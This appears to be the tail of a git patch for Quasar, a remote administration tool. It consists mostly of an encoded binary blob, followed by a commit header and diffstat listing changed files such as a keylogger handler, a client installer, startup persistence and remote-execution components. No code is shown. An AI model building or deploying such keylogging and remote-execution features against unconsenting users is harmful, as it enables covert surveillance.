z7rw>9-T6p|yAyP(xs7kw*H= zuh&j&wzM^PO!cOIO*eF9>=)C{H^+3^RXM)IE#FDY&+H7mQuB6Iq~EJb58yV&K-_G$ z-*W0c_J%0b3VFnrQ4hGe#SI}Gwp<5=&{VF2f;hfKNaizF^R6-zhOquk1tZ7q3N7M% zlINz7*n(M5CE5dn51s5mLodx8N@#qr?m95iBFc2~L9KJ8uW8Hmh|Xw?vDC0%0=&NA zF$o-bNB75Ki9|n(lhAPE(xig!^2$lo5~mDH-22?7qIUdzY`q$EU_5~AVd=pv4v^Y> zpz^G2G0H@$PZ-ZwW9LZ)<=QFpvf@(2H}NB3M~Mo}SPo~s;7brQNq648*#$lOyk+?& zlSTnkGi6Qv=L3bXJAF9G1Dh7~t7Y%PpwiohWMeD;@xCqgUCD{Eg9MOldmu}dzw~w` z147QhiDXr=fISTTSbt{k`u1Id9;h8Ew(RRr$vo&|m|lS!SOqS4_$tKz8NO5)9d z(f1lS((-nCGX#DRf~TV8nzNdIA;ghx{=sBnRy#}LyX+YDU69k@w<_{6YGvZVjZ`SX zk@XO?v_x~17dZLuIp-Fdmej(tTtemfRY|P4cW%J7ZH*Ix9lL(Xhq)dYf?$RT78Q$d z_5fJ*n#Wmbvert@Ir=m|{fB29-LZNlpX=oumP+VHOQXMZW zZ~uAq(Z03(|3_PYOuzE(w-eRQPRO}KorW=tkT=3xsnxm@pYpxmW9VCi>sqOn7afJ4-Xo6+1Pfufe}6sVk=x_4xL{eC^Z?FjMOteqWjA?!#BB)Wu2< zBvdGqmcHgSu$k%wOSD^C6r{)dV=+02{Ag0{ljWa;Z99ak6xI`|9Ei^Q z3zlD(n`4~WV3Ja1nelC|pkQ+9QYqxAGr?ME$Upq3bHq>1MdssK1NF~nPMz^(R#9_W z&Q*6DB#JMmj;Lkq)vbV`U!HarFL9*>jo|gUD#LzuKwYq(GYfN6k)C$blWRI@z@8#U z3^QxJrG@}P#z?kTTdW2a@1v%WmHir!x9lcSsRNXkeMF}r)x$zI1VY=NWxA&9JsJ!S zYTKh;Oxso0ho^`ifFFmzEz>e?6*si~>epUu@+G~He({VW8SqSC3dIfn0@ntXoPfv8 zb(xUVoBCPIEV5&3Jgiiy{{{XK)e*yni8WlhgoSXJedHfSzOLprbgAkmJ2wHpR=e zAbY*k%GjT|tf|NYE7eYS^#`I*<1i(|~eggPUU&FpdIXyveZM#(c^~$g8 ziY@>XenW&&&SVBnzwT${l}ZdrxP{3`{A=FVKSVAu=c|^k(yrZZ8gneRyZRH0ygfOs zbydiirP+r`UsK)Al1*CPloi13_3LU6#{}(ua=Fsjoa_?ZetqNIV0ZFB5B>{td7-{m z<~{OL^*iP=K&{LS`lZk{v3%-s7Oo4Q{+hQVdWDT+4$6kf;=wnpBnR#x6?Aty7}su0 z6V(#F5s}#>Osr6GFz~y0%jw-o>>OeJo|D2Kwh$4yEpv0#s3cb%T&?4|-R{{!oY%re z|64_yEMktyvnpS#putL)yS8gxerWZ*??AJr&?~Kx3Uz;I{o>#Xbo}pd!ojJmnRr5Z z1&LM$|3yMt9joH4>EJZE`+wKx2a>I{7pYlO?Iz-iXdYr*%o$Q`H8#I^CoGHZXpusZk#cN2LZ}IK}rLgZu{*5oKP&* z#43^ok}7DwzJwjoZd>VaWcQkBd5O}~t~1R-+YbhV_oxO;PHGg84pl)t6qF;ru3*{V zrqNfc%YU{;i%AL5BUj44$#^RINesgsek0>1)E=RrywMdGV$%JyDbp3SN-r~9d+3t03YX2@bCz7Dc_r@Q?pM=CKYEvCdPpEY2$(WGRb{jP zr@YR5B{SAT>tX@0*yNc^Sr@KtI!B|j+B(LrO9xP?mOfY@Dp}PRGgCbklZRZsnmZ|d zKE-ZHP7g}vxz9*n#a&O!suqW?(D!O?O+xElMPZgP?Hz>>C&%JP9r%PEb>?%%z}MEh z=G{Az=PuiIJ$1ahX=9=n6A!9AE~+9|(+r|Kh{zdzM!^iBfZajaZjEAq>$?$;+Px z{{HQ(r}JqKrvzvUqAsWiFx}gsS<7NwNGmGI-`21NxY!}S%A)nFEYkFH;u?Pd$X|Fi zYXV-_41t6ue%hJP^D%XV19wbMs)>@ioRPmQo4qdD9+ZKd4dgP4MJu&JMoueGYVw)Q z=Z1)V=P6$8#S_clD$P>-4&8V`C0xM`-i>$uB`u) zW}Ud{lmWuUhCV$ZBtzsC>i1RY%Fx7eAZF*N(&E>~rM6Wrz!#OJ3qgo16|0RTU zt>aPIg%usPl3E*7NkO?ePgAYx;=qiqBiUuS+SQ39E$Qm|)h{}*ieTjTWyMV1-5a(x z`bjL-=cvnhzBr~dE7Q6d7VGX^9mpNptJn2Qq4|yA41gcbL)pd0asp6XlM{3_J?YcU zv=IOf??`*vFZp?w?5;iyqY z?IQVwTkNxXR-CVe&Zb^xn1ZtNetj7ao1X0lSYJ*SmkURKacd3P91Z(4lBa1lZ|+xd z%_dINQ}GeLdd|)J7kbqiGY`?EPTDvGCEcSlDrmu1?HHPrh;qZyuZiw)%)y&v=pDPy z7l!J2dk{8z8?=tZe*E-8B)3h{e?X zqK4I_)JZ9{rIo?e#=^BpaMz8>8aHM=)?c+;B%B33HvOBPJR-}N;vr45=m>h&??|Io2N z5!J9LBP?e9x9h$Jp~2@3Ss&ctq2rg}e!Kcte+%HMNQN5r%#HfYlUR3!U?0D{TGI?8 zeZs@~>si@o%Yu}1T-K*&I(0r4S^bnXm*eW`A4*hg%ows$dn&r}B2IcZl@*=H%2u?rcP2nCH7yT1hqvGE|D`y|vAA?Ty(NA{Aa07T zaZdas_M%76fIr^$ZK~zcfOXz*7tz6XrNxtNVent}O#sJXdeO%<8}45c|7 zCZaL7X^Q`<2otoYUxlpNIRSG}UGuYSJ%zz1J?uMC1)+oUJMX~d{VgY1QUm*`PHpsl zYA4P7hOaE8vaQQYZ!u#<4MdLYT=O0hQ5~;dBOzr(INW7=xR+%@lGm`aSmpEE+huh4W| z_p-=KcL?HsI}dBbf0}8CRjWWHg;o+iJQvgkR~KApp7_{bEs?q)T<%GwwOv)PaMA@A z<|@+PiuLc`*1e+*TA)_m06VjYDWtNX?{c8jOPwpV_G`!GRHJBT(@^^?do0){;hT%I zD*l5+dM}rPAy;_=fW@eJkM)Q_%&*gJNseaZt*9GHJ!C+V`9!`ka)VA3*{_a~P@&_Z z*vDse+&yo1J&>g-FbUfUok`SA^s;5p4_O8@yxbP;3Icwcu-;-OX>zsX(240wyX*Z)+*I|n1SXY0gx8=5TI1Y@1lVS%g zQU)KTYF?Di-1|k+$A0Lea)MKmLYdv$-9^!rUC{-Oca16=DxLxo^*%r44EHuc-rh7N zCm;}k$qv6^GBpF>-lf22@*8bejJ(CVH8v2%gR$+89Emb!#ZoT)%g{c0b^CC2AMt3# zHR)}U`eG(ePbld?{k!PRuN6bGvfTZVa>J~!7|(+zOiRsDh5<~iUS@Umbl3%3*wyU3 z%`G}38wCNXWgX0oO#QJS;Y2TV*2LFnzqN*HN^7mwS$U_E=MsXD8O++_zPJumY_4(I zt*+WKA+#ay}}iBJx;Y=-<6tn=*iK_F$~_|QH_H=c}W!pjliML9`01tcl( zD)4^k3J^e?bPZX;ILe`Llq|$adi3^$)E4K*$J9R(EWTxIR;sfTyDVj01(jbvy1O{K z;rJb6k(OU*dv$}&eda`g1*w>GzcOkuuTQ(}(#N z6>MfK4Qak=G%&UYnZ*** z$oxugS~wOCPT8;Q@|JRwTzq&?{3~6_0kNWnMy(bx43gx4b2v(G&2bmGyZ%QwMfhHL zh_O*!!Nfltg8uANl}jmbPvJvdudM`RR(kyV7~@i~^s@~h+)w<0l<+a;e#fdc6yE;x zVlg2G7r7)YF&e}*h>+6DZ#r5g^6L8`FwP2Hl}E|t6g zd3gKdu-=?g>tDFqHvX^nzB{hTbz2k51`9=vN)r)LiXf06RVjj^XaE5zL8%G72}mcP z8wHVoA|Qk+q98R8Aat+*p@UKagd#OUDAGa+Wxf#I<(xD7oVoX&nLEFk{N>M(ue@cw zYdz~(&)P^#Cd5|t6!WS?waWyjqU^@PLOK;MR|~tn3=c#-1Uvinki0EzI_yk!*9-iO zc}dkSV-h%;`zNuVZWZ7s&r>vBS^HN+x8~*_K%WKHosqyoQT{E6xLtDltk%lo*w)ML^Y>cG9Jl7e_GN@l$83Z0Pu!s?X~Z(pjjBrk zzet+sB|i2&W}H_nnf*R-K=yA*lZ&E;;tnDQ2F5C3MNeOXu3;WLW;Q5;T3*j_8!K}B z#@NMY^Dc;BY|b1GzU0f%>vd@vcQ4>1SIki-7*}ah^2I&RDYYn5J5z|iRlIcPJVfP6 zt6N=I-ARKlf@NYUvZx%|@`1AazUi4C!VOPHx)IuIpei+IiY#YwMRhkhKU%2_VUyQv zS#mNwwa}Z4=R2#oY=d>JOqqQo)Nos{oFJ3FPxW;py>fus($|tV`-%sa!oZ$^d9H5B z$SEVo*&uSqNOZ@7&_^LcO^u%#m}P7hGJg?vhnUE!R)4*QJk%bRQd z7Je`OO_fIgYppy+Qr~Cr!jn3G2V>w4W(R(3Os?L#k_7Ka7pYyv0$p47SL+K)B3%G$ z&^sk%63p?AF+FJ#;>H0>N4C=LrbFuPxB28f%h8)ZUpRFNkHc6F@wupjU(IOx>Rw2@ zVB@1pb?}+ucj3Iv&PJ`k@h&NLU2CZ_4v2LFEpyUmcrX3k=GFA$6CQZm;_MwjSz+x? zreRXMoDBx-TD7!1K`R~~tK*w5f{>OfpDfi}ri6Nyv(=+GWgI3cwvrhxeFQg?qeDI3 zn_#gde`6>Qw_5GltC=%fikN3F?i(0-y5F3UoVFlAoUr3n(td4r?zdB| z>4CAl0;Z+wh1$XsR5p7#pAe{=B=>aPh?E}lkq+Mgo+S+dXOqENMQdY@^ofKUyLr2M zm?S2B>oRh0UbA)27!VKYOduM&-`77IPo|1QQxvZjKpZH&mTKhJt@&i9VoY$&@?P+! zFS<$7c=tP+Pl_+pVF4Z`@5ht_YuQoAIPkc%cB7Zkgr3P9a~`t7w@O~T>>Q`019kx7 zl{5?lnUEA$lchfCdGe$lIq^f+qvrJBnm#af*K0M8M=mt2*$07iZ!B@Bp3y)$nlqFW zh-5vUaP(eRXjx8mKb-B>)##W!eAFjbaN1E62;0uMJFv>{j45Ro9XMD?tqnS?CT&-8 zTCK=(H$U-ZY4G8MkM-vQlkI$!COv3ApRy+IC;m1KBtTF)o?Z8}__M;Faf```J28y+ zzt7CruFqL1Yx|n9X>I*U!>n!j(I)S*`Xqzg+XhETU6W_GV{dj%mQG*H(oC4S2*gANz~=BEPD5zHQ+Iv?@_1^~ z5>bLu@j2GZ7=S%1kg1p$p^jeOIsTZ)sqCC!11H^UEAF{Hh_SKejA|mqxWcGa^ECB< z15rDo{%zp=dgkP()=I!HGuuVqYj8DvEfwRAkvKl|1rxc8SlP_C(G{gx`Wm9O8cGuR8Du5Rk# zS)*s&TR<`S-`3^iK7-{_Rv%fM#>2o)qt*f`sfU+k76R)kcdl;29?wM zZR-!k!oOsRx1Q?*(hSjPC)K1y3O>1+ts*H7ItNDtFKO?aGbA=kG0uOPgt;5>TizTP zAh(7{tMI@9jVt-wS(g-`y3cYYG^|fiHt7y99Ot?{m zOnpkK(0lr|Mp6Q%0oCb3+^eZ_u}q`wgilYrJq?bozN@HZ;_A`kUR zi{FAH7o0Q3sOhq;s@&2NAdoNCB^r9NI*p2BT6@s zVE#L)0=|=aPumeviu=1F2?LG6#!hxaJrMiXj=*{}EF9)SDijULU==KJ_o+gf8$FP) z?79Yk{Nw>WF?#q3%pPjYZ|_(`M)?EH*O6qc5oulC2U9f-X>%i4CCL*;agz6#0S zcZ2#$$?B*_63eC$fS1V%&{E9+-#$tLAaP|0rsUd!BgN29SkPlPIjcf?DmDFUAIC<# zk{e8Ku98N{Ig4gMDy18$z@{=|HO)&A8*^H3boWkKFehdbyxj-yj((Z6b=Su`di8ej zZ4$aaHSuf?y!PMrp1BjR|R4v8lw>7`5QOkmaYiz_A3a~v=pw-s4T;sKfJX~hC< zVj$z*yGKfI!|NV8UT_y{@Yc`0SUNYexGry!7Mx6&A{i^H^Rj_MrhKe69=n2Ltuv4> z0x8ne*expH$VAbxksoFWgb=X)tZshs@DlD9=!47Xhp*=Co-b~0`o5GaWP!I4gR3BV zJk5^`^%d|?Lsc-hC1R$b)Sm11z$3|`V?TZv5?5DUs$Q(Djb~?uH z#Y&{|_9Xl*R7P+H9yxk@8Eu@LwoQb1$fe-362;A55Og0ch~{G&?2D7iDRI=A=ViMX z-n;%-+9%KF3PQ`(jT#TFfv`)B593g8q1hkf^TLJQl)3AYie;E;-Guy`A0f#}B_0Ee z0lO9Me^g@8A-sPB$SH87++tRli5iVtl?poDDeWjwx75~sois1YpB3;j|BXx2Gwz!K z4ucPXF>gKo<$L}lG+Acn@LHD81 zK6{B7t;=B!=d7I2aeOn+A)oNkwg@Rr|0m#l;sAS$bO2!EM(i7-?W5YeNBNR&s(jfi zkNh@KnLt`fw!Q_o>?0*M2|C4>X;>gC^Mwn&WBUw7`vs?wTi#onz@c`-9B>UWLogtX z@F;>O5c=`N=<|odje8%AszTE}#Scj~a5Dq^k|O|6!=CIRsYXkTOLD^)9yILBwpw@x zB+ZZ30h#P)G#Ag9rZs%xZQdPU}>-zx?9#YI3u}v2v{ktaD5Z zhBEXE?B^%@u{=^(Q%61yxw&F5>Ot}l@cc|Jz28{awx~29t2fcJSO-97hhv2Nm8L&e z2@SAy*pfSlbW4dKt)9p$VmXgm4R)=qTn=a!n!XfIn4a0(-!^DC zm0&-&G6#OB70bxbbKvK}^C#;_ookF=T)NVl*zb*RT>drk)h%>6VfIQ6h6Ucrebdy~ z!lic)T2?+yw7cr)Lw|`N&EOJ&E|Na0} zYoqPW_j&FDuwna}rv4e{CUx8g%W3aG&f8X}#DaDSC^w>N>ugPr1T5HfsZZVWFiPyc z`(kuz;Z6T<*0OXAFNHW=k)R8ntFtgX!H2%N4CJlly9JMozJHqZ6j=bI!Uq*UECpmj z!Fm)qN3?rYLUPvye6lp2rGZ?cZSQ*3xT#H2Rfws@!_BE|Cc`&HD=!zKpG|#QC61P# zlrALPn>ELZcZ(gIt72lvJ4W|%KdE&~E86Yufqq}QQlIo@KVRTk{3BdEGG%|96nH_v zuzb0lZFonq*ji!t!OA35dR|R&JDQaG<%v& zBFM?t8Zy+`F(@$O`RpKi-w&I5k)#rHMXW2<#f)1c@uq81G+A@jms(L39y2*iDq8oB z(fWc{g}yFJ;tWW+%RB+IOCEbw*`k=Xy~Qr5{Y*M&7~Ut{2fsW*=>Ih0$gVR3EK70v z`f%a*_4j#=iblV>BKUabN;~nm#ICqJ^A5%j(6}k}7fQA_U-l+AYgh#1%%{Dn64}kb z#`?7eZx{T**^~?IH7k(b8o%FtEpzte{^wY>kS3ekJg4&yjD^(n)fj`~%*d;At`bTA zVcVOTf7h8?M<(XBg2#B7qivlk$kf)}mv<7SgfTU;Ans!5{^87xe73ND{Q?5pI-?%0 zpo-?+b=~pq!l_b=7BHQnFT{KM6r>0q7Yp&dN%WtK zZB@XBr(D$UM;`a>I?Q0EK!3nGltUPxRQaeaZb^6vk!5^rUVt*+keDP?L^J2JirX7Y zd%MK6@}}eqS+=&mc{3e4FL{iedN<(px1tYd2}+^((*$Y#5+De)_=NgV;*Ter~^Z_+{tG0iEGqxb!){h~w>rmj@0 zhq|%2yAJ%gu!Hkpi*)+4B`GMeD_*W!DiP0uxO5^ktMGGx~CcvK;H>q%Vx9~-mO2lYXXe*_AepWBs#LkyCZhL~BmwstHR?3%D5Ga4EunC>lLY`T&;xQw|hiI%LT)Uwc0w*NgE4M=47_kUX2XU_1rk ze3Ls4amjP_dy67gHg|P*yTm0p!G$myew7K)m)tCPrg#em&gr(=<3o-83oyt;`L^1s zVA;J3=hS^G2rno4AX_b~{o`poF@}J%^6EZ)df6ngb~?Oqhgi`|4d6sK5P>Y*feEcp zR8r6$M~7H=zThfL8nnu_L|NN>xfo^cZo9AU?A5YoM|CD%sk=xHJLjV=8wX{UL-v)4 z+8QjB>84CcT+#~S2IBUN4ZZn7i#@wGIDEbBmOC2IyiKtoi^X>^{F}L$7}>VdK1!h| zu)E(y{nO)X-hBPziCEz_&jd0okRWAk7p}WDiQFXU zk|tX@=B__;1TyGh0P7_yd7VyW1^Cqs>ZWF|kDrm1V>T7nv#Jn-z={M~RWa#Ml+y4Z z-Y|$mC#I%KGtuERxZoCWaIcw{f&2oav|mOXyH8A%zrK-;d#e7ePQFu9*q(j#mPrPd zvG%Y$_@)26MJ{uK-#cwVPdL1FPKI2hq?SMkS+pBjIg}FM_lxafyV6ig!7zYuK7jv- zwyhA$V@<}K5|QW7X0?>wtW%1E-mNuY_ezDvrPhwf-uILwaz;o_k@K9o!xI~09T(eu zT)hhGHhF6=7N^T*ggWZ&5;krHHQ4!@CKcsJAgey~MAPwrKqcut-ftJ=lbi<>7Zy8w zXO=35V)7R^d=8kPwIjJx;C;(deH$*bzhwBv8v{`DiGwsBSb~On5{pll3qmdvJ--m} z07me>W{EprXK)_?=+*D1yZKfCN9@%T?p}|gXnY|Moy@Xv^&G@^BCE#N={ z43cupxk*2TM~lmcQ|6RA?<+=kDz1hRDtyUd?ziV?WAex;q#KqQj)@DrdPkz zrIo&<%Ii9~js$FmgW7K2-9Y|=n~8ny|J_w=OUei^*5uzt+EPax;{K}u z(0SU^{5Tk|DH`3?I_^o_fRDNRy}$^>Cxy(6aEBeXq;yN-TC7V-QAct@w@kIVjlZ~O za&{_yYL`9}o`oTC?+u~4rd^)mk~n{a9k2X&<(Nvw^k&= z&r(9Ds*Uwr@&Lld&|D8hkfzlI01bd2=#R4NWk%HgEQNU}^h#h*L10xH{Ipthuddcr zFV~qlrT%P|j8Fi9k!mztQ}ee$YoHi4ruYe%2*`%)BV5bPR{@vyoUKdej@j}0E~$FI zZTxtGMRh#;7<{`ZOtR{&^9bDaNrc{+SsHIZmrl9_s78IKV!JMfDG9SUU_!JmEbo=N zo93&qz2RcneT9s+Gc6NKRj+ZlR&zbm4askh3vOH*f%N!Y%{A3ci|CSF129FWa=6v* z&A~b~N-ww@d||v%>V^$jdwA)p3~m@HrD;MiM9OZM9O4iMZYv4kU`@da=YiUZp{LVH z^?NU@oU5myjlc)`9=F2`kCnip!vNq8Nd5)Ufytj3BS2r*-wp$`Oo2LppZ-_R%N_Rq zKjMOmURj*1=~d)B0UV7C^rI1^*1dLsnVKc4V`@I~WzFY!IdnVnNh-muLEkEd6J3@!aDdPZ$)dYTM*mEx;I!&@d)JD&)tRx*!J29@ zz)LU_{^?tFZ?bAA3||1Lp}(`C$EcA|Ip>wWO_SEnWe3-2bgCHD%tBzB3R>x`Qn&~G z$YzWjym-C7_lKiX=H6md#eeMtO{-=~QxXY6}W0T}ByQcLDmzJ4zqr7{(si|;wF_C;NjY3t&81;Y- zHr%9xy0JK_(3E$swjBHGm#oxb=%AUQpQsU2VPkI>EHz>#McSciw zqTFx}haOegY#%EOsT}i7p_vewv)To z&J#6T`!B^Pdb$CfQOr)zeW8$Rp**S2Ay>9)I;2z;?Y?~D&K)FcXiuyz)=xm9?LcTSV+#ptc`J)nvK4IKGug{7QmDmNTvw^X9qBuyQQrVbPXUulmpEJ0zP@>K;~Th(l7kw z|6+<4aE7M4w7h}ljsVgK#vXdLR@3`k@G9@G+YRrLtI1}xtKO2PPZgjJoCZ#y`a3>Z zUyqPf!vwS7LTz|s1%(AG=nk5d!_nfE!IHK=;dcz}-yM8>#wa{W6@5!aRIZs)@elBoX zM3~3gIXR(C81GQrEpNvKGwZuuir`l~1zb&U4O>}SB!M^kWPX)iA4oAg3~~YBDS^$p zCu#-?3hU2qa^l}BIv3r9a|e5QTOAXxR1qM-uiSw9v97OuMH`U8OOcY*L;R(kk%6BU zfbi+-J^GRZW3PomDddo~)(c)%r#=8o#(@+60$3JRb0R3;d`R(IaHkdkh)fZ+wTfiq;$orE_@h3v?A8>6G zuf~J_m^HEcLh_dUY~-(N7ilEr9)*v=H@#+aOARii5*CSHyUzAePOkT{Hx&$)Jdz!22|YWw z`rV?HNgGIX?EX1q;8ew7chfyWK{att$XX#S2<8gx3g3`t?bFGgBD_>L*7;p8cD^|> zRz`gGT)4G$QUiq0p=RSn9rNj)ZxmHquMhFgoDu#q6H4kmxqM%?26fVP_Bw05J@6VQ zf9|`{TB-Aalh8)T$hQIAB3c7jtyVi-4~v}l-V*|LYKeN~PfA|^WgU%7uUOI?m()0V z&6=}ajrOoh!aPt+Uu#vWdk-m^QfiwsiIlw!l!ms5OT^S9F?r4OmU&Ih`_13QJYJYi ztR7Dv>@$oEaBd+ zF2tl$T~$|-mI;z-y4%uh>VOO1G=b7mwc1Qb6F@ep7xKq4tl0iWD9ni@BXNqo>8K zH0zo)z*tbdRo%h5-5;c^p!&v5qFIQaJFDrv4{gt20a|Y7Poj-)#Up|3J^CJ(06z!V z#QWnP7e?^dSXhA8P@s(zHBBB8cU-vK;^!G=%=A^L{yFInWN)M}zNT+WO%@)(e}RFy$EBRxACC3;moB zX;Jj?!hP3%4)k$r6^vkS{-!Pe9nb}cKbj8&c{TlEZ(n=d8D~=)z1)xt`@4mulB8O) z@HjE3SwU-*bKvW;2eF*w<@k+UeVIVEH9gn%dKo%Qki3_4PUdbBggkM#oUPJl)?(CD zJRuNFk-=DPM`7X4+mISYu@fY!iBUN00y&xAFz8^HYDF#@B>m^vo&+E~Q8ZlL0Y-{KK)jsw}bA9W{tPM)8=ymeBVGJGq0 zr?TWdSMTq1I&NxS`mTVcIG`M6fY&gZXOmBd_T%5mb|kSXa4WcJb%!;=9?+XoEaISj z+s#aOu^Q{GzJ9GPqA~s$WKYu1WkG2=6Q28j-(=5l!6G)fXb-^<^k@3sUlQ{E9`mvx zt5K?`v!Cb{IEarj*tvjhY8Df(-y#0c1-m9S${yZT0B5G%=@dVt82H=rtfm<8tWq3J z(&&3I7%P;FLm({k%;<$ZY4CRuo72`xSrgx`IU!6ZXabai`oBfRW`I}p`aDf2n0`rd zNb!U-;`3NvS;V+*=*~1Q(4=>ZI5b{MarcS`tTlB-1L6uarNAzlx}POt9OlP)>Bo`3 zQNN?@lQFnODK?n%Un%cOUJQxY{B}*r2)QxJi&0$8(8{Pi3&ujO#gvvc_gc>S-&Uh! zh<~gX%Q(*oYd8-`7=8UnfBCV?fbfn_M|`Gd#VAh~pcHpfinImj+I51l*!ugOYA=uV zS^|oJRO#`-*{rn5H)>OvB(RSGXUrh35x8g<>>Vs+}2)x63G0=>vR`a75R`Z z4#6q`QM-fw?YiHxJb@J_&Ql(7jFYBP2gWYg{OXKoVN$Fl2lDDZldVsGw?-dWhB`hs z`?aaWs_JLQhDZVJfc|q`4Htj;vk3^+@7eT6qg0>)*gXe+`;+1?AD&)2JI7E-efTWP zGYE0doIa5Yr+^Dk4ZRn%w-mem0vx9DEr|7fS@|5Wqg{a5A-Dk0D!V8L;h3(DEaDaS zpX2q{VG;5UzRt+~Ugy$Q`bT0hl-RG;7q;XvK+sN$Z0XAf|Ax$8(+W|4olh{7g z(0EaKj@q8y`QXLFvjGpp+UA-@*%m~r{ce|BV&!Y2H1TFOrRO$Wdjbg24RjfM4(L@5 zvpBz-tyt82AiB|NKfCX5#TvU8)F(bd1YefsH%D0Jin>h{SI#)vo!n8fD=k_pv{>ZR zvOvsq8B+5{?gA=MaZU9me(Nnj9Z-=6KUv8{G*HcTdXskz#RaWvZY;mL5Sw4&b|x7i zI(NF^RFu}8$X&vw-$Vm-B^cRHF=0waTj-*uzc)1MHBxN2+w(`M!HLh14S$MR{D(SOV#2*`iz5{D?=E@luJZ$ks^o$u=Jik zJlD3lXYA|pN`=DTsW~bWGjAy_ND z?$}-?r4(N9%Ux&p++>VpzQB3U!p8D@NJg}0Btp6I{e?RHLE9I*4n7Z*NhX^z+zI|; zXQ-WlG@Ph`$VgAHL_u08VdTN)BLDuwL+SZXTbu;Ctm-BgLbFXt2ia? zF|9z)-$588t()V{gA;fCW46xbxdRfmzw1Hfj7Or`n)(eV>Z=|~@lKy{BR>yW<`t%B z0JIsFFI=eXdTA^r)1kf@Sev}-W9(hZ5ZB0qDdx&ya{x9{l7YEY= zb~*3>s=PHyEb}nlCE+o|%-R{NE;AgOHYbjIMBHqMHS4^yX9V;oM)*L0+8?^@894v- z+KxiSJ78AA&@`P%6reM?G^~YGXE{TptvXyv^ff*|U3=7dWwBZ6gRNiw<{bcqR5Uvg z7?xJtLn)E`s*priDgB*|Wrv_PPhV3+US&B0w;I!YQrs}OmF2xvD@tne=fL`n7C>fFHK;q*h}g4x>?@MD zZ}UhGrvz65ZVzn~v;NU=U?2NItN^Ci=-bgO{(ZuCT8Rp%&Kjb9)1ld4 z+emnt7%#BipKgp5GX-&qe#CDZvYmzl4`d$?j8)&n@l#9-dbd(`gpdDVBP-M%Dvymzs)g{qs!@Qxm^6cvKnv=lZK<2yICL<#iktiJtrjapauCqR*j@^&mhyqmZz^j8B2ZnH(m2` z&5QC${b1JvKSYrsfweMNK9xO(PsvPxS8`N$I*a_!DSobXQN?YFL)TV%M?obkhZDx% zG28xXcWfk|bEd;2Q|IGtnH}(SRs~_u6 z7iRzCe$U^-Xr#RCzij#ZcPi%p_3fVjxm^7}?E&z2;^_a&y|2HAO+QW_+F6$W-saZ- zE#CI;B<%mT)Aul-PL}-e-{0!{pN~dWMCF4BWBvc*Efav}SV#Z=7B4@VuLG)Ps2H<< zfAgLH9nCQQ^VVe*P>E3UfcNagPW}rzlmH71ikg1?*L`aK^D}4m z&sv-S=R&P@)lop~=Pw)S{_{5;0{qw1+NOVZ%cK8S&TF9iOUzHbPL+MpSs#9&3=FT1 zI<)x=qs6nrro*Zy9e@ln?IQ$qWv2h@#4$Qj1E6K+0Bs&a?%tIO5=}^r_PNThrjP82 ztX`}6MM2Y$cLetzGZ?gM&++cG8; zoM}~lnLwd}pxfQldtyUg8tz?EGWszsZ3f2UF2?SmCw!aSXK?mT75zy8P44CJnHl;W z@!=5cFq`jFj$RX>2}>tE#ucON}J;k8avf&pN`U(`H2 z)<^l(mdm)Evvc=z!Q`r8VbRg{WDeNl%3P_upr)=cLi-LD%5X2?()L=LK@U-l1Lj*E z`(}VYn=o*i>Vd(O%^pXF``qqvaE8VTlj_=2^C?m~_)<$#-T3Nzi36jL5{Jpc)oZqaF@G2NTrwK?}5he;Dd3+mI&dYEh1svJ>9WIni{rej$`GsMWsqSA`^7`QKee}0GXpYMAj_L_Gzr+FabkBp|?iz}W z+bln(4!&&{57uq$L60_5Xis^<%dyLRHCW+nBe}w(n8@3Qz=X4kD;-Kc#KSK#UXoSy zD~zSM$qgs3zRst|%|}8XY)g`1(zPYkhsBZA;*{ z4FYI?(Qka>7&|KBF}Pw{S;exoUYy{5XdQP)smVa9h)9(fSB?!R_b`zMi_h=lfzRJ` zPjpbhLmvhVK<{o8FMDP0pCRsT%YbLSgKJkGA0xGV2Z)>^qay`me}|Iqq07=Alv*9; zQdcV0lk$b!dHhqh0w8ZTepy=!YQ>c~JuQ3oj8WG!)S9R6s<2F+@%5Rey6VZ)T-77U z=2~kQCZJU@z+%iuIt8w?ad)$P@lb-{bX#p1N_Ahit@uax=Q9+=MR^(Q)3|3t*;@fR XERxB1UTQDxt< Date: Mon, 25 May 2020 22:38:41 +0200 Subject: [PATCH 175/229] Update legacy File Transfers --- Quasar.Client/Commands/ConnectionHandler.cs | 87 --- Quasar.Client/Commands/FileHandler.cs | 27 +- Quasar.Client/Commands/MiscHandler.cs | 107 +-- Quasar.Client/Commands/SurveillanceHandler.cs | 109 --- Quasar.Client/Commands/SystemHandler.cs | 124 ++-- .../Messages/ClientServicesHandler.cs | 116 +++ Quasar.Client/Messages/KeyloggerHandler.cs | 148 ++++ Quasar.Client/Networking/Client.cs | 5 +- Quasar.Client/Networking/PacketHandler.cs | 43 +- Quasar.Client/Networking/QuasarClient.cs | 4 +- Quasar.Client/Program.cs | 28 +- .../ClientInstaller.cs | 7 +- .../ClientUninstaller.cs | 10 +- .../{Installation => Setup}/ClientUpdater.cs | 8 +- .../{Installation => Setup}/Startup.cs | 2 +- Quasar.Common/Cryptography/Aes256.cs | 25 +- Quasar.Common/Cryptography/SafeComparison.cs | 29 + Quasar.Common/IO/FileSplitLegacy.cs | 167 ----- Quasar.Common/Messages/DoClientUpdate.cs | 26 - Quasar.Common/Messages/DoRemoteExecution.cs | 17 + ...sStart.cs => DoRemoteExecutionResponse.cs} | 4 +- Quasar.Common/Messages/DoUploadAndExecute.cs | 26 - ...dAndExecute.cs => FileTransferComplete.cs} | 6 +- ...ommandExecutor.cs => IMessageProcessor.cs} | 5 +- Quasar.Common/Messages/IProgress.cs | 15 - .../Messages/MessageProcessorBase.cs | 9 +- Quasar.Server/Build/ClientBuilder.cs | 1 + .../Forms/FrmDownloadAndExecute.Designer.cs | 105 --- Quasar.Server/Forms/FrmDownloadAndExecute.cs | 34 - Quasar.Server/Forms/FrmMain.cs | 174 +---- ...gner.cs => FrmRemoteExecution.Designer.cs} | 109 ++- Quasar.Server/Forms/FrmRemoteExecution.cs | 196 ++++++ ...ndExecute.resx => FrmRemoteExecution.resx} | 0 Quasar.Server/Forms/FrmTaskManager.cs | 10 + Quasar.Server/Forms/FrmUpdate.cs | 64 -- Quasar.Server/Forms/FrmUpdate.resx | 659 ------------------ .../Forms/FrmUploadAndExecute.Designer.cs | 119 ---- Quasar.Server/Forms/FrmUploadAndExecute.cs | 48 -- Quasar.Server/Forms/FrmUploadAndExecute.resx | 659 ------------------ Quasar.Server/Messages/FileManagerHandler.cs | 63 +- Quasar.Server/Messages/KeyloggerHandler.cs | 7 +- .../Messages/RemoteExecutionHandler.cs | 63 ++ Quasar.Server/Messages/TaskManagerHandler.cs | 42 +- Quasar.Server/Quasar.Server.csproj | 28 +- 44 files changed, 933 insertions(+), 2602 deletions(-) delete mode 